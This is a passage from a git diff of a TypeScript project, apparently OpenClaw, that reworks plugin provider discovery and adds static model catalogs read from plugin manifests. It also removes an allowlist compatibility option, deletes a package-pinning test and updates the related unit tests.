providerCatalogEntry, - providerDiscoveryEntry, modelSupport, modelCatalog, modelPricing, diff --git a/src/plugins/migration-provider-runtime.ts b/src/plugins/migration-provider-runtime.ts index b4419d76f68..91a67619f50 100644 --- a/src/plugins/migration-provider-runtime.ts +++ b/src/plugins/migration-provider-runtime.ts @@ -1,7 +1,6 @@ import type { OpenClawConfig } from "../config/types.openclaw.js"; import { getLoadedRuntimePluginRegistry } from "./active-runtime-registry.js"; import { - withBundledPluginAllowlistCompat, withBundledPluginEnablementCompat, withBundledPluginVitestCompat, } from "./bundled-compat.js"; @@ -20,12 +19,8 @@ function resolveMigrationProviderConfig(params: { cfg?: OpenClawConfig; bundledCompatPluginIds: readonly string[]; }): OpenClawConfig | undefined { - const allowlistCompat = withBundledPluginAllowlistCompat({ - config: params.cfg, - pluginIds: [...params.bundledCompatPluginIds], - }); const enablementCompat = withBundledPluginEnablementCompat({ - config: allowlistCompat, + config: params.cfg, pluginIds: [...params.bundledCompatPluginIds], }); return withBundledPluginVitestCompat({ diff --git a/src/plugins/pi-package-graph.test.ts b/src/plugins/pi-package-graph.test.ts deleted file mode 100644 index 79a9d73ae18..00000000000 --- a/src/plugins/pi-package-graph.test.ts +++ /dev/null @@ -1,95 +0,0 @@ -import fs from "node:fs"; -import path from "node:path"; -import { describe, expect, it } from "vitest"; -import YAML from "yaml"; - -type RootPackageManifest = { - dependencies?: Record; -}; - -type PnpmWorkspaceConfig = { - overrides?: Record; -}; - -const PI_PACKAGE_NAMES = [ - "@earendil-works/pi-agent-core", - "@earendil-works/pi-ai", - "@earendil-works/pi-coding-agent", - "@earendil-works/pi-tui", -] as const; - -function readRootManifest(): RootPackageManifest { - const manifestPath = path.resolve(process.cwd(), "package.json"); - return JSON.parse(fs.readFileSync(manifestPath, "utf8")) as RootPackageManifest; -} - -function readPnpmWorkspaceConfig(): PnpmWorkspaceConfig { - const workspacePath = path.resolve(process.cwd(), "pnpm-workspace.yaml"); - return YAML.parse(fs.readFileSync(workspacePath, "utf8")) as PnpmWorkspaceConfig; -} - -function isExactPinnedVersion(spec: string): boolean { - return !spec.startsWith("^") && !spec.startsWith("~"); -} - -function isPiOverrideKey(key: string): boolean { - return key.startsWith("@mariozechner/pi-") || key.includes("@mariozechner/pi-"); -} - -function readPiDependencySpecs() { - const dependencies = readRootManifest().dependencies ?? {}; - return PI_PACKAGE_NAMES.map((name) => ({ - name, - spec: dependencies[name], - })); -} - -function collectMissingSpecNames(specs: Array<{ name: string; spec?: string }>): string[] { - const names: string[] = []; - for (const entry of specs) { - if (!entry.spec) { - names.push(entry.name); - } - } - return names; -} - -function expectNoGraphViolations(violations: string[], message: string) { - expect(violations, message).toStrictEqual([]); -} - -describe("pi package graph guardrails", () => { - it("keeps root Pi packages aligned to the same exact version", () => { - const specs = readPiDependencySpecs(); - - const missing = collectMissingSpecNames(specs); - expectNoGraphViolations( - missing, - `Missing required root Pi dependencies: ${missing.join(", ") || ""}. Mixed or incomplete Pi root dependencies create an unsupported package graph.`, - ); - - const presentSpecs = specs.map((entry) => entry.spec); - const uniqueSpecs = [...new Set(presentSpecs)]; - expect( - uniqueSpecs, - `Root Pi dependencies must stay aligned to one exact version. Found: ${specs.map((entry) => `${entry.name}=${entry.spec}`).join(", ")}. Mixed Pi versions create an unsupported package graph.`, - ).toHaveLength(1); - - const inexact = specs.filter((entry) => !isExactPinnedVersion(entry.spec)); - expectNoGraphViolations( - inexact.map((entry) => `${entry.name}=${entry.spec}`), - `Root Pi dependencies must use exact pins, not ranges. Found: ${inexact.map((entry) => `${entry.name}=${entry.spec}`).join(", ") || ""}. Range-based Pi specs can silently create an unsupported package graph.`, - ); - }); - - it("forbids pnpm overrides that target Pi packages", () => { - const pnpmWorkspace = readPnpmWorkspaceConfig(); - const overrides = pnpmWorkspace.overrides ?? {}; - const piOverrides = Object.keys(overrides).filter(isPiOverrideKey); - - expectNoGraphViolations( - piOverrides, - `pnpm-workspace.yaml overrides must not target Pi packages. Found: ${piOverrides.join(", ") || ""}. Pi-specific overrides can silently create an unsupported package graph.`, - ); - }); -}); diff --git a/src/plugins/provider-auth-choice.ts b/src/plugins/provider-auth-choice.ts index 3b5afeb03a2..e9aa0cdda59 100644 --- a/src/plugins/provider-auth-choice.ts +++ b/src/plugins/provider-auth-choice.ts @@ -377,7 +377,6 @@ export async function applyAuthChoiceLoadedPluginProvider( ...(manifestAuthChoice ? { onlyPluginIds: [manifestAuthChoice.pluginId], - providerRefs: [manifestAuthChoice.providerId], } : {}), }); diff --git a/src/plugins/provider-auth-helpers.ts b/src/plugins/provider-auth-helpers.ts index 7a3b27a57dd..06be91dc7d4 100644 --- a/src/plugins/provider-auth-helpers.ts +++ b/src/plugins/provider-auth-helpers.ts @@ -1,6 +1,5 @@ import fs from "node:fs"; import path from "node:path"; -import type { OAuthCredentials } from "@earendil-works/pi-ai"; import { resolveDefaultAgentDir } from "../agents/agent-scope-config.js"; import { buildAuthProfileId } from "../agents/auth-profiles/identity.js"; import { upsertAuthProfile, upsertAuthProfileWithLock } from "../agents/auth-profiles/profiles.js"; @@ -13,6 +12,7 @@ import { type SecretInput, type SecretRef, } from "../config/types.secrets.js"; +import type { OAuthCredentials } from "../llm/oauth.js"; import { getProviderEnvVars } from "../secrets/provider-env-vars.js"; import { uniqueStrings } from "../shared/string-normalization.js"; import { normalizeSecretInput } from "../utils/normalize-secret-input.js"; diff --git a/src/plugins/provider-catalog.test.ts b/src/plugins/provider-catalog.test.ts index 137562198b4..a8960406035 100644 --- a/src/plugins/provider-catalog.test.ts +++ b/src/plugins/provider-catalog.test.ts @@ -130,14 +130,14 @@ describe("buildSingleProviderApiKeyCatalog", () => { expected: { provider: "Demo Provider", id: "demo-model" }, }, { - name: "matches provider templates across canonical provider aliases", + name: "does not match provider templates across provider id variants", entries: [ { provider: "z.ai", id: "glm-4.7" }, { provider: "other", id: "fallback" }, ], providerId: "z-ai", templateIds: ["GLM-4.7"], - expected: { provider: "z.ai", id: "glm-4.7" }, + expected: undefined, }, ] as const)("$name", ({ entries, providerId, templateIds, expected }) => { expectCatalogTemplateMatch({ @@ -184,9 +184,9 @@ describe("buildSingleProviderApiKeyCatalog", () => { }), }, { - name: "matches explicit base url config across canonical provider aliases", + name: "matches explicit base url config for exact provider ids", ctx: createCatalogContext({ - apiKeys: { zai: "secret-key" }, + apiKeys: { "z.ai": "secret-key" }, config: { models: { providers: { @@ -203,7 +203,7 @@ describe("buildSingleProviderApiKeyCatalog", () => { baseUrl: "https://api.z.ai/custom", apiKey: "secret-key", }), - providerId: "z-ai", + providerId: "z.ai", buildProvider: () => createProviderConfig({ baseUrl: "https://default.example/zai" }), }, ] as const)( diff --git a/src/plugins/provider-discovery.runtime.test.ts b/src/plugins/provider-discovery.runtime.test.ts index 065de2f1900..919c11027f4 100644 --- a/src/plugins/provider-discovery.runtime.test.ts +++ b/src/plugins/provider-discovery.runtime.test.ts @@ -50,6 +50,32 @@ function createManifestPlugin(id: string): PluginManifestRecord { }; } +function createManifestPluginWithModelCatalog(id: string): PluginManifestRecord { + return { + ...createManifestPluginWithoutDiscovery({ id }), + modelCatalog: { + providers: { + [id]: { + baseUrl: "https://catalog.example.test/v1", + api: "openai-responses", + models: [ + { + id: "catalog-model", + name: "Catalog Model", + reasoning: true, + input: ["text"], + contextWindow: 128000, + maxTokens: 4096, + cost: { input: 1, output: 2, cacheRead: 0.1, cacheWrite: 0 }, + }, + ], + }, + }, + discovery: { [id]: "static" }, + }, + }; +} + function createManifestPluginWithoutDiscovery(params: { id: string; providerAuthEnvVars?: Record; @@ -83,12 +109,10 @@ function createProvider(params: { id: string; mode: "static" | "catalog" }): Pro } function requireResolvePluginProvidersParams(index = 0): { - bundledProviderAllowlistCompat?: boolean; onlyPluginIds?: string[]; } { const params = (mocks.resolvePluginProviders.mock.calls[index] as [unknown] | undefined)?.[0] as | { - bundledProviderAllowlistCompat?: boolean; onlyPluginIds?: string[]; } | undefined; @@ -133,24 +157,20 @@ describe("resolvePluginDiscoveryProvidersRuntime", () => { ); }); - it("falls back to full provider plugins when discovery entries only expose static catalogs", () => { - const fullProvider = createProvider({ id: "deepseek", mode: "catalog" }); - mocks.loadSource.mockReturnValue(createProvider({ id: "deepseek", mode: "static" })); - mocks.resolvePluginProviders.mockReturnValue([fullProvider]); + it("uses static provider catalog entries without loading the full plugin", () => { + const staticProvider = createProvider({ id: "deepseek", mode: "static" }); + mocks.loadSource.mockReturnValue(staticProvider); - expect(resolvePluginDiscoveryProvidersRuntime({})).toEqual([fullProvider]); - expect(mocks.resolvePluginProviders).toHaveBeenCalledTimes(1); - const params = requireResolvePluginProvidersParams(); - expect(params.bundledProviderAllowlistCompat).toBe(true); - expect(params.onlyPluginIds).toEqual(["deepseek"]); + expect(resolvePluginDiscoveryProvidersRuntime({})).toEqual([ + { ...staticProvider, pluginId: "deepseek" }, + ]); + expect(mocks.resolvePluginProviders).not.toHaveBeenCalled(); }); it("keeps unscoped discovery bounded for mixed live and static-only entries", () => { const codexEntryProvider = createProvider({ id: "codex", mode: "catalog" }); - const fullProviders = [ - createProvider({ id: "deepseek", mode: "catalog" }), - createProvider({ id: "kilocode", mode: "catalog" }), - ]; + const deepseekEntryProvider = createProvider({ id: "deepseek", mode: "static" }); + const fullProviders = [createProvider({ id: "kilocode", mode: "catalog" })]; mocks.resolveDiscoveredProviderPluginIds.mockReturnValue([ "codex", "deepseek", @@ -176,9 +196,7 @@ describe("resolvePluginDiscoveryProvidersRuntime", () => { }, }); mocks.loadSource.mockImplementation((modulePath: string) => - modulePath.includes("/codex/") - ? codexEntryProvider - : createProvider({ id: "deepseek", mode: "static" }), + modulePath.includes("/codex/") ? codexEntryProvider : deepseekEntryProvider, ); mocks.resolvePluginProviders.mockReturnValue(fullProviders); @@ -186,10 +204,14 @@ describe("resolvePluginDiscoveryProvidersRuntime", () => { resolvePluginDiscoveryProvidersRuntime({ env: { KILOCODE_API_KEY: "sk-test" } as NodeJS.ProcessEnv, }), - ).toEqual([{ ...codexEntryProvider, pluginId: "codex" }, ...fullProviders]); + ).toEqual([ + { ...codexEntryProvider, pluginId: "codex" }, + { ...deepseekEntryProvider, pluginId: "deepseek" }, + ...fullProviders, + ]); expect(mocks.resolvePluginProviders).toHaveBeenCalledTimes(1); const params = requireResolvePluginProvidersParams(); - expect(params.onlyPluginIds).toEqual(["deepseek", "kilocode"]); + expect(params.onlyPluginIds).toEqual(["kilocode"]); }); it("falls back to full provider plugins when setup provider env vars are configured", () => { @@ -288,6 +310,175 @@ describe("resolvePluginDiscoveryProvidersRuntime", () => { expect(mocks.resolvePluginProviders).not.toHaveBeenCalled(); }); + it("returns manifest model catalogs as static discovery entries", async () => { + mocks.resolveDiscoveredProviderPluginIds.mockReturnValue(["openai"]); + mocks.loadPluginMetadataSnapshot.mockReturnValue({ + index: { plugins: [] }, + manifestRegistry: { + plugins: [createManifestPluginWithModelCatalog("openai")], + diagnostics: [], + }, + }); + + const providers = resolvePluginDiscoveryProvidersRuntime({ discoveryEntriesOnly: true }); + + expect(providers.map((provider) => provider.id)).toEqual(["openai"]); + expect(providers[0]?.pluginId).toBe("openai"); + expect(mocks.resolvePluginProviders).not.toHaveBeenCalled(); + await expect( + providers[0]?.staticCatalog?.run({ + config: {}, + env: {}, + resolveProviderApiKey: () => ({ apiKey: undefined }), + resolveProviderAuth: () => ({ apiKey: undefined, mode: "none", source: "none" }), + }), + ).resolves.toEqual({ + providers: { + openai: { + baseUrl: "https://catalog.example.test/v1", + api: "openai-responses", + models: [ + expect.objectContaining({ + id: "catalog-model", + name: "Catalog Model", + reasoning: true, + }), + ], + }, + }, + }); + }); + + it("defaults missing manifest model costs for static discovery entries", async () => { + mocks.resolveDiscoveredProviderPluginIds.mockReturnValue(["anthropic"]); + mocks.loadPluginMetadataSnapshot.mockReturnValue({ + index: { plugins: [] }, + manifestRegistry: { + plugins: [ + { + ...createManifestPluginWithModelCatalog("anthropic"), + modelCatalog: { + providers: { + anthropic: { + baseUrl: "https://api.anthropic.com", + api: "anthropic-messages", + models: [ + { + id: "claude-sonnet-4-6", + name: "Claude Sonnet 4.6", + reasoning: true, + input: ["text"], + contextWindow: 200000, + maxTokens: 64000, + }, + ], + }, + }, + discovery: { anthropic: "static" }, + }, + }, + ], + diagnostics: [], + }, + }); + + const providers = resolvePluginDiscoveryProvidersRuntime({ discoveryEntriesOnly: true }); + + await expect( + providers[0]?.staticCatalog?.run({ + config: {}, + env: {}, + resolveProviderApiKey: () => ({ apiKey: undefined }), + resolveProviderAuth: () => ({ apiKey: undefined, mode: "none", source: "none" }), + }), + ).resolves.toEqual({ + providers: { + anthropic: expect.objectContaining({ + models: [ + expect.objectContaining({ + id: "claude-sonnet-4-6", + cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, + }), + ], + }), + }, + }); + }); + + it("ignores manifest model catalogs that cannot form valid models.json providers", () => { + mocks.resolveDiscoveredProviderPluginIds.mockReturnValue(["anthropic"]); + mocks.loadPluginMetadataSnapshot.mockReturnValue({ + index: { plugins: [] }, + manifestRegistry: { + plugins: [ + { + ...createManifestPluginWithModelCatalog("anthropic"), + modelCatalog: { + providers: { + "claude-cli": { + models: [ + { + id: "claude-sonnet-4-6", + name: "Claude Sonnet 4.6", + reasoning: true, + input: ["text"], + contextWindow: 200000, + maxTokens: 64000, + }, + ], + }, + anthropic: { + baseUrl: "https://api.anthropic.com", + api: "anthropic-messages", + models: [ + { + id: "claude-sonnet-4-6", + name: "Claude Sonnet 4.6", + reasoning: true, + input: ["text"], + contextWindow: 200000, + maxTokens: 64000, + }, + ], + }, + }, + discovery: { "claude-cli": "static", anthropic: "static" }, + }, + }, + ], + diagnostics: [], + }, + }); + + const providers = resolvePluginDiscoveryProvidersRuntime({ discoveryEntriesOnly: true }); + + expect(providers.map((provider) => provider.id)).toEqual(["anthropic"]); + }); + + it("keeps manifest catalogs and loads only scoped plugins that have no entry", () => { + const dynamicProvider = createProvider({ id: "minimax", mode: "catalog" }); + mocks.resolveDiscoveredProviderPluginIds.mockReturnValue(["minimax", "openai"]); + mocks.loadPluginMetadataSnapshot.mockReturnValue({ + index: { plugins: [] }, + manifestRegistry: { + plugins: [ + createManifestPluginWithoutDiscovery({ id: "minimax" }), + createManifestPluginWithModelCatalog("openai"), + ], + diagnostics: [], + }, + }); + mocks.resolvePluginProviders.mockReturnValue([dynamicProvider]); + + const providers = resolvePluginDiscoveryProvidersRuntime({ + onlyPluginIds: ["minimax", "openai"], + }); + + expect(providers.map((provider) => provider.id)).toEqual(["openai", "minimax"]); + expect(mocks.resolvePluginProviders).toHaveBeenCalledTimes(1); + expect(requireResolvePluginProvidersParams().onlyPluginIds).toEqual(["minimax"]); + }); + it("does not fall back to full plugin loading when discovery entries are requested only", () => { mocks.loadPluginMetadataSnapshot.mockReturnValue({ index: { plugins: [] }, diff --git a/src/plugins/provider-discovery.runtime.ts b/src/plugins/provider-discovery.runtime.ts index 310c931fe2b..ed705eb95f4 100644 --- a/src/plugins/provider-discovery.runtime.ts +++ b/src/plugins/provider-discovery.runtime.ts @@ -1,4 +1,7 @@ +import type { ModelDefinitionConfig, ModelProviderConfig } from "../config/types.models.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; +import { planManifestModelCatalogRows } from "../model-catalog/manifest-planner.js"; +import type { NormalizedModelCatalogRow } from "../model-catalog/types.js"; import { sortUniqueStrings } from "../shared/string-normalization.js"; import { loadManifestMetadataSnapshot } from "./manifest-contract-eligibility.js"; import type { PluginManifestRecord } from "./manifest-registry.js"; @@ -22,6 +25,7 @@ type ProviderDiscoveryEntryResult = { complete: boolean; pluginRecords: PluginManifestRecord[]; entryPluginIds: Set; + manifestEntryPluginIds: Set; }; function normalizeDiscoveryModule(value: ProviderDiscoveryModule): ProviderPlugin[] { @@ -53,6 +57,12 @@ function hasLiveProviderDiscoveryHook(provider: ProviderPlugin): boolean { ); } +function hasProviderCatalogHook(provider: ProviderPlugin): boolean { + return ( + hasLiveProviderDiscoveryHook(provider) || typeof provider.staticCatalog?.run === "function" + ); +} + function hasProviderAuthEnvCredential( plugin: PluginManifestRecord, env: NodeJS.ProcessEnv, @@ -67,6 +77,111 @@ function hasProviderAuthEnvCredential( }); } +function modelDefinitionCostFromManifestRow( + row: NormalizedModelCatalogRow, +): ModelDefinitionConfig["cost"] { + if ( + !row.cost || + row.cost.input === undefined || + row.cost.output === undefined || + row.cost.cacheRead === undefined || + row.cost.cacheWrite === undefined + ) { + return { + input: 0, + output: 0, + cacheRead: 0, + cacheWrite: 0, + }; + } + return { + input: row.cost.input, + output: row.cost.output, + cacheRead: row.cost.cacheRead, + cacheWrite: row.cost.cacheWrite, + ...(row.cost.tieredPricing ? { tieredPricing: row.cost.tieredPricing } : {}), + }; +} + +function modelDefinitionFromManifestRow( + row: NormalizedModelCatalogRow, +): ModelDefinitionConfig | undefined { + const cost = modelDefinitionCostFromManifestRow(row); + if (!row.contextWindow || !row.maxTokens) { + return undefined; + } + const input: ModelDefinitionConfig["input"] = row.input.filter( + (value): value is "text" | "image" => value === "text" || value === "image", + ); + return { + id: row.id, + name: row.name || row.id, + ...(row.api ? { api: row.api } : {}), + ...(row.baseUrl ? { baseUrl: row.baseUrl } : {}), + reasoning: row.reasoning, + input, + cost, + contextWindow: row.contextWindow, + ...(row.contextTokens ? { contextTokens: row.contextTokens } : {}), + maxTokens: row.maxTokens, + ...(row.headers ? { headers: row.headers } : {}), + ...(row.compat ? { compat: row.compat } : {}), + ...(row.mediaInput ? { mediaInput: row.mediaInput } : {}), + }; +} + +function providerConfigFromManifestRows( + rows: readonly NormalizedModelCatalogRow[], +): ModelProviderConfig | undefined { + const firstRow = rows[0]; + if (!firstRow?.baseUrl || !firstRow.api) { + return undefined; + } + const models = rows + .map((row) => modelDefinitionFromManifestRow(row)) + .filter((model): model is ModelDefinitionConfig => Boolean(model)); + if (models.length === 0) { + return undefined; + } + return { + baseUrl: firstRow?.baseUrl ?? "", + ...(firstRow?.api ? { api: firstRow.api } : {}), + models, + }; +} + +function resolveManifestModelCatalogProviders( + pluginRecords: readonly PluginManifestRecord[], +): ProviderPlugin[] { + const providers: ProviderPlugin[] = []; + for (const plugin of pluginRecords) { + if (!plugin.modelCatalog?.providers) { + continue; + } + const plan = planManifestModelCatalogRows({ registry: { plugins: [plugin] } }); + for (const entry of plan.entries) { + if (entry.rows.length === 0 || entry.discovery === "runtime") { + continue; + } + const providerConfig = providerConfigFromManifestRows(entry.rows); + if (!providerConfig) { + continue; + } + providers.push({ + id: entry.provider, + pluginId: plugin.id, + label: entry.provider, + auth: [], + staticCatalog: { + order: "simple", + run: async () => ({ providers: { [entry.provider]: providerConfig } }), + }, + }); + } + } + return providers; +} + function resolveProviderDiscoveryEntryPlugins(params: { config?: OpenClawConfig; workspaceDir?: string; @@ -95,12 +210,32 @@ function resolveProviderDiscoveryEntryPlugins(params: { const pluginRecords = manifestRegistry.plugins.filter((plugin) => pluginIdSet.has(plugin.id)); const entryRecords = pluginRecords.filter((plugin) => plugin.providerDiscoverySource); const entryPluginIds = new Set(entryRecords.map((plugin) => plugin.id)); - if (entryRecords.length === 0) { - return { providers: [], complete: false, pluginRecords, entryPluginIds }; + const manifestProviders = resolveManifestModelCatalogProviders(pluginRecords); + const manifestEntryPluginIds = new Set(); + for (const pluginId of manifestProviders.map((provider) => provider.pluginId)) { + if (pluginId) { + entryPluginIds.add(pluginId); + manifestEntryPluginIds.add(pluginId); + } + } + const complete = entryPluginIds.size === pluginIdSet.size; + if (entryRecords.length === 0) { + return { + providers: manifestProviders, + complete, + pluginRecords, + entryPluginIds, + manifestEntryPluginIds, + }; } - const complete = entryRecords.length === pluginIdSet.size; if (params.requireCompleteDiscoveryEntryCoverage && !complete) { - return { providers: [], complete: false, pluginRecords, entryPluginIds }; + return { + providers: [], + complete: false, + pluginRecords, + entryPluginIds, + manifestEntryPluginIds, + }; } const loadSource = createPluginSourceLoader(); const providers: ProviderPlugin[] = []; @@ -115,26 +250,52 @@ function resolveProviderDiscoveryEntryPlugins(params: { } catch { // Discovery fast path is optional. Fall back to the full plugin loader // below so existing plugin diagnostics/load behavior remains canonical. - return { providers: [], complete: false, pluginRecords, entryPluginIds }; + return { + providers: manifestProviders, + complete: false, + pluginRecords, + entryPluginIds, + manifestEntryPluginIds, + }; } } - return { providers, complete, pluginRecords, entryPluginIds }; + return { + providers: [...manifestProviders, ...providers], + complete, + pluginRecords, + entryPluginIds, + manifestEntryPluginIds, + }; } function resolveSelectiveFullPluginIds(params: { entryResult: ProviderDiscoveryEntryResult; - entryProviders: ProviderPlugin[]; env: NodeJS.ProcessEnv; }): string[] { - const staticOnlyEntryPluginIds = params.entryProviders - .filter((provider) => !hasLiveProviderDiscoveryHook(provider)) - .map((provider) => provider.pluginId) - .filter((pluginId): pluginId is string => typeof pluginId === "string" && pluginId !== ""); const missingEntryCredentialPluginIds = params.entryResult.pluginRecords .filter((plugin) => !params.entryResult.entryPluginIds.has(plugin.id)) .filter((plugin) => hasProviderAuthEnvCredential(plugin, params.env)) .map((plugin) => plugin.id); - return sortUniqueStrings([...staticOnlyEntryPluginIds, ...missingEntryCredentialPluginIds]); + return sortUniqueStrings(missingEntryCredentialPluginIds); +} + +function resolveMissingEntryPluginIds(entryResult: ProviderDiscoveryEntryResult): string[] { + return entryResult.pluginRecords + .filter((plugin) => !entryResult.entryPluginIds.has(plugin.id)) + .map((plugin) => plugin.id); +} + +function resolveRuntimeEntryProviders(entryResult: ProviderDiscoveryEntryResult): ProviderPlugin[] { + return entryResult.providers.filter((provider) => { + if (hasLiveProviderDiscoveryHook(provider)) { + return true; + } + return Boolean( + provider.pluginId && + entryResult.entryPluginIds.has(provider.pluginId) && + typeof provider.staticCatalog?.run === "function", + ); + }); } export function resolvePluginDiscoveryProvidersRuntime(params: { @@ -149,17 +310,17 @@ export function resolvePluginDiscoveryProvidersRuntime(params: { }): ProviderPlugin[] { const env = params.env ?? process.env; const entryResult = resolveProviderDiscoveryEntryPlugins({ ...params, env }); + const entryProviders = entryResult.providers.filter(hasProviderCatalogHook); + const runtimeEntryProviders = resolveRuntimeEntryProviders(entryResult); if (params.discoveryEntriesOnly === true) { - return entryResult.providers; + return entryProviders; } - const liveEntryProviders = entryResult.providers.filter(hasLiveProviderDiscoveryHook); - if (entryResult.complete && liveEntryProviders.length === entryResult.providers.length) { - return liveEntryProviders; + if (entryResult.complete && runtimeEntryProviders.length === entryResult.providers.length) { + return runtimeEntryProviders; } - if (params.onlyPluginIds === undefined && entryResult.providers.length > 0) { + if (params.onlyPluginIds === undefined && runtimeEntryProviders.length > 0) { const fullPluginIds = resolveSelectiveFullPluginIds({ entryResult, - entryProviders: entryResult.providers, env, }); const fullProviders = @@ -168,14 +329,38 @@ export function resolvePluginDiscoveryProvidersRuntime(params: { ...params, env, onlyPluginIds: fullPluginIds, - bundledProviderAllowlistCompat: true, }) : []; - return [...liveEntryProviders, ...fullProviders]; + return [...runtimeEntryProviders, ...fullProviders]; + } + if (runtimeEntryProviders.length > 0) { + const fullPluginIds = resolveMissingEntryPluginIds(entryResult); + const fullProviders = + fullPluginIds.length > 0 + ? resolvePluginProviders({ + ...params, + env, + onlyPluginIds: fullPluginIds, + }) + : []; + return [...runtimeEntryProviders, ...fullProviders]; + } + if (entryProviders.length > 0) { + const fullPluginIds = sortUniqueStrings( + entryProviders + .map((provider) => provider.pluginId) + .filter((pluginId): pluginId is string => typeof pluginId === "string" && pluginId !== ""), + ); + if (fullPluginIds.length > 0) { + return resolvePluginProviders({ + ...params, + env, + onlyPluginIds: fullPluginIds, + }); + } } return resolvePluginProviders({ ...params, env, - bundledProviderAllowlistCompat: true, }); } diff --git a/src/plugins/provider-external-auth.types.ts b/src/plugins/provider-external-auth.types.ts index 677cf588d41..bf2cda96751 100644 --- a/src/plugins/provider-external-auth.types.ts +++ b/src/plugins/provider-external-auth.types.ts @@ -15,7 +15,7 @@ export type ProviderSyntheticAuthResult = { expiresAt?: number; }; -export type ProviderResolveExternalOAuthProfilesContext = { +export type ProviderResolveExternalAuthProfilesContext = { config?: OpenClawConfig; agentDir?: string; workspaceDir?: string; @@ -23,13 +23,13 @@ export type ProviderResolveExternalOAuthProfilesContext = { store: AuthProfileStore; }; -export type ProviderResolveExternalAuthProfilesContext = - ProviderResolveExternalOAuthProfilesContext; +export type ProviderResolveExternalOAuthProfilesContext = + ProviderResolveExternalAuthProfilesContext; -export type ProviderExternalOAuthProfile = { +export type ProviderExternalAuthProfile = { profileId: string; credential: OAuthCredential; persistence?: "runtime-only" | "persisted"; }; -export type ProviderExternalAuthProfile = ProviderExternalOAuthProfile; +export type ProviderExternalOAuthProfile = ProviderExternalAuthProfile; diff --git a/src/plugins/provider-hook-runtime.ts b/src/plugins/provider-hook-runtime.ts index 24bb770343b..d6d2311b7d0 100644 --- a/src/plugins/provider-hook-runtime.ts +++ b/src/plugins/provider-hook-runtime.ts @@ -1,6 +1,10 @@ +import { resolveModelCatalogScope } from "../agents/model-catalog-scope.js"; import { normalizeProviderId } from "../agents/provider-id.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; -import { normalizeLowercaseStringOrEmpty } from "../shared/string-coerce.js"; +import { + normalizeLowercaseStringOrEmpty, + normalizeOptionalString, +} from "../shared/string-coerce.js"; import { getLoadedRuntimePluginRegistry } from "./active-runtime-registry.js"; import { PluginLruCache, @@ -31,11 +35,11 @@ const PREPARED_PROVIDER_RUNTIME_SURFACES = ["channel"] as const; export type ProviderRuntimePluginLookupParams = { provider: string; + modelId?: string | null; config?: OpenClawConfig; workspaceDir?: string; env?: NodeJS.ProcessEnv; applyAutoEnable?: boolean; - bundledProviderAllowlistCompat?: boolean; bundledProviderVitestCompat?: boolean; }; @@ -71,6 +75,7 @@ function resolveProviderRuntimePluginCacheKey( ): string { return JSON.stringify({ provider: normalizeLowercaseStringOrEmpty(params.provider), + modelId: resolveProviderRuntimeLookupModelId(params) ?? null, pluginControlPlane: resolvePluginControlPlaneFingerprint({ config: params.config, env: params.env, @@ -80,7 +85,6 @@ function resolveProviderRuntimePluginCacheKey( models: params.config?.models?.providers, workspaceDir: params.workspaceDir ?? "", applyAutoEnable: params.applyAutoEnable ?? null, - bundledProviderAllowlistCompat: params.bundledProviderAllowlistCompat ?? null, bundledProviderVitestCompat: params.bundledProviderVitestCompat ?? null, pluginRegistryKey: registryState?.key ?? null, pluginRegistryVersion: registryState?.activeVersion ?? null, @@ -92,6 +96,37 @@ function matchesProviderLiteralId(provider: ProviderPlugin, providerId: string): return !!normalized && normalizeLowercaseStringOrEmpty(provider.id) === normalized; } +function resolveProviderRuntimeLookupModelId( + params: ProviderRuntimePluginLookupParams & { context?: { modelId?: unknown } }, +): string | undefined { + return normalizeOptionalString( + params.modelId ?? + (typeof params.context?.modelId === "string" ? params.context.modelId : undefined), + ); +} + +function resolveProviderRuntimeLookupScope( + params: ProviderRuntimePluginLookupParams, + apiOwnerHint?: string, +): { + providerRefs: string[]; + modelRefs?: string[]; +} { + const providerRefs = apiOwnerHint ? [params.provider, apiOwnerHint] : [params.provider]; + const modelId = resolveProviderRuntimeLookupModelId(params); + if (!modelId) { + return { providerRefs }; + } + return { + providerRefs, + modelRefs: resolveModelCatalogScope({ + cfg: params.config, + provider: params.provider, + model: modelId, + }).modelRefs, + }; +} + function findProviderRuntimePluginInLoadedRegistries(params: { lookup: ProviderRuntimePluginLookupParams; apiOwnerHint?: string; @@ -154,8 +189,8 @@ export function resolveProviderPluginsForHooks(params: { env?: NodeJS.ProcessEnv; onlyPluginIds?: string[]; providerRefs?: readonly string[]; + modelRefs?: readonly string[]; applyAutoEnable?: boolean; - bundledProviderAllowlistCompat?: boolean; bundledProviderVitestCompat?: boolean; }): ProviderPlugin[] { const env = params.env ?? process.env; @@ -167,7 +202,6 @@ export function resolveProviderPluginsForHooks(params: { env, activate: false, applyAutoEnable: params.applyAutoEnable, - bundledProviderAllowlistCompat: params.bundledProviderAllowlistCompat ?? true, bundledProviderVitestCompat: params.bundledProviderVitestCompat ?? true, }) ) { @@ -179,7 +213,6 @@ export function resolveProviderPluginsForHooks(params: { env, activate: false, applyAutoEnable: params.applyAutoEnable, - bundledProviderAllowlistCompat: params.bundledProviderAllowlistCompat ?? true, bundledProviderVitestCompat: params.bundledProviderVitestCompat ?? true, }); return resolved; @@ -211,7 +244,6 @@ export function resolveProviderRuntimePlugin( providerRefs, activate: false, applyAutoEnable: params.applyAutoEnable, - bundledProviderAllowlistCompat: params.bundledProviderAllowlistCompat ?? true, bundledProviderVitestCompat: params.bundledProviderVitestCompat ?? true, }) ) { @@ -221,14 +253,15 @@ export function resolveProviderRuntimePlugin( const registryState = getPluginRegistryState(); const cacheKey = resolveProviderRuntimePluginCacheKey(lookup, registryState); const load = () => { + const lookupScope = resolveProviderRuntimeLookupScope(params, apiOwnerHint); return ( resolveProviderPluginsForHooks({ config: params.config, workspaceDir, env, - providerRefs, + providerRefs: lookupScope.providerRefs, + modelRefs: lookupScope.modelRefs, applyAutoEnable: params.applyAutoEnable, - bundledProviderAllowlistCompat: params.bundledProviderAllowlistCompat, bundledProviderVitestCompat: params.bundledProviderVitestCompat, }).find((plugin) => { if (apiOwnerHint) { @@ -313,7 +346,22 @@ export function resolveProviderRuntimePluginHandle( export function ensureProviderRuntimePluginHandle( params: ProviderRuntimePluginHandleParams, ): ProviderRuntimePluginHandle { - return params.runtimeHandle ?? resolveProviderRuntimePluginHandle(params); + const modelId = resolveProviderRuntimeLookupModelId(params); + if ( + !params.runtimeHandle || + (modelId && !params.runtimeHandle.plugin && params.runtimeHandle.modelId !== modelId) + ) { + return resolveProviderRuntimePluginHandle({ + provider: 